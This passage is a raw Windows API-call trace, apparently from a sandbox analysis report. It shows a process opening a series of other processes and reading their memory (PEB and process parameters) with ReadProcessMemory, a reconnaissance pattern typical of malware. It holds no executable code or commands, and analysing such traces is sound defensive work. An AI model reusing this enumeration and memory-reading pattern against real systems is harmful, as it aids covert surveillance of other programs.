NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.250] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.251] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.251] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.251] malloc (_Size=0x64) returned 0xeb63f0 [0313.251] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb63f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0313.252] free (_Block=0xeb63f0) [0313.252] CloseHandle (hObject=0xa9c) returned 1 [0313.252] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0313.253] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0313.253] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.253] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0313.254] GetLastError () returned 0x0 [0313.254] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.254] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.255] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.255] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.255] malloc (_Size=0x68) returned 0xeb6620 [0313.255] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb6620, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0313.256] free (_Block=0xeb6620) [0313.256] CloseHandle (hObject=0xa9c) returned 1 [0313.256] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0313.256] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0313.257] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.257] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0313.258] GetLastError () returned 0x0 [0313.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.258] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.258] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.259] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.259] malloc (_Size=0x62) returned 0xeb6150 [0313.259] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb6150, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0313.260] free (_Block=0xeb6150) [0313.260] CloseHandle (hObject=0xa9c) returned 1 [0313.260] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0313.261] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0313.261] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.261] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.262] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0313.262] GetLastError () returned 0x0 [0313.262] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.263] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.263] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.263] malloc (_Size=0x72) returned 0xea9220 [0313.263] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea9220, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0313.264] free (_Block=0xea9220) [0313.264] CloseHandle (hObject=0xa9c) returned 1 [0313.264] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0313.264] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0313.265] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.265] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0313.266] GetLastError () returned 0x0 [0313.266] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.266] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.267] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.267] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.267] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.267] malloc (_Size=0x118) returned 0xefada0 [0313.267] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0313.267] free (_Block=0xefada0) [0313.268] CloseHandle (hObject=0xa9c) returned 1 [0313.268] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0313.269] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0313.269] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.269] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.270] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0313.270] GetLastError () returned 0x0 [0313.270] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.270] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.270] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.270] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.270] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.271] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.271] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.271] malloc (_Size=0x60) returned 0xeb65b0 [0313.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb65b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0313.272] free (_Block=0xeb65b0) [0313.272] CloseHandle (hObject=0xa9c) returned 1 [0313.272] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0313.273] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0313.273] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.273] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.274] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0313.274] GetLastError () returned 0x0 [0313.274] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.275] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.275] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.275] malloc (_Size=0x88) returned 0xe882d0 [0313.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe882d0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe882d0*, lpNumberOfBytesRead=0x0) returned 1 [0313.276] free (_Block=0xe882d0) [0313.276] CloseHandle (hObject=0xa9c) returned 1 [0313.276] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0313.276] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0313.276] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.277] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.278] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0313.278] GetLastError () returned 0x0 [0313.278] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.279] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.279] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.279] malloc (_Size=0xa8) returned 0xe95370 [0313.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe95370, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95370*, lpNumberOfBytesRead=0x0) returned 1 [0313.280] free (_Block=0xe95370) [0313.280] CloseHandle (hObject=0xa9c) returned 1 [0313.316] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0313.316] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0313.317] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.317] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0313.317] GetLastError () returned 0x0 [0313.318] NtQueryInformationProcess (in: ProcessHandle=0xa9c, 